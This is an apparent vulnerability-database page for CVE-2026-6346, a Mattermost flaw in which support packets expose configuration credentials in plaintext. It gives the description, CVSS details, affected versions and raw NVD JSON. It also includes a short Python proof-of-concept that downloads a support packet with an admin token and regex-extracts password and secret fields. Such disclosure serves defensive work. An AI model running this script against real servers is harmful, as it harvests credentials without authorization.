Security Vulnerability Report
中文
CVE-2026-6346 CVSS 8.7 HIGH

CVE-2026-6346

Published: 2026-05-18 09:16:24
Last Modified: 2026-05-18 18:39:52

Description

Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 fail to sanitize sensitive configuration fields before including them in support packet generation, which allows a Mattermost System Admin or any party with access to a support packet to obtain sensitive credentials in plaintext via downloading a support packet from the System Console.. Mattermost Advisory ID: MMSA-2026-00607

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 11.5.x <= 11.5.1
Mattermost 10.11.x <= 10.11.13
Mattermost 11.4.x <= 11.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC script to simulate downloading and analyzing a Mattermost support packet # Note: This requires a valid admin session token. import requests import zipfile import io import re TARGET_URL = "https://mattermost.example.com" ADMIN_TOKEN = "YOUR_ADMIN_SESSION_TOKEN" # Step 1: Download the support packet via API headers = { "Authorization": f"Bearer {ADMIN_TOKEN}" } print("[*] Attempting to download support packet...") response = requests.get(f"{TARGET_URL}/api/v4/system/supportpacket", headers=headers) if response.status_code == 200: print("[+] Support packet downloaded successfully.") # Step 2: Extract and search for sensitive patterns with zipfile.ZipFile(io.BytesIO(response.content)) as z: print("[*] Analyzing files in the packet...") for filename in z.namelist(): with z.open(filename) as f: content = f.read().decode('utf-8', errors='ignore') # Search for common credential patterns (simple regex) passwords = re.findall(r'"(?:Password|Secret)"\s*:\s*"([^"]+)"', content, re.IGNORECASE) if passwords: print(f"[!] Potential sensitive data found in {filename}:") for pwd in passwords: print(f" - {pwd}") else: print(f"[-] Failed to download packet. Status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6346", "sourceIdentifier": "[email protected]", "published": "2026-05-18T09:16:24.000", "lastModified": "2026-05-18T18:39:52.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 fail to sanitize sensitive configuration fields before including them in support packet generation, which allows a Mattermost System Admin or any party with access to a support packet to obtain sensitive credentials in plaintext via downloading a support packet from the System Console.. Mattermost Advisory ID: MMSA-2026-00607"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.14", "matchCriteriaId": "413D9405-79C3-4299-B0DC-40D9EE5CC717"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.4.0", "versionEndExcluding": "11.4.4", "matchCriteriaId": "CF171039-837A-4D23-87EB-F328AD04976C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.5.0", "versionEndExcluding": "11.5.2", "matchCriteriaId": "726AD6AD-6C01-45BB-9115-B8209717A6D4"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}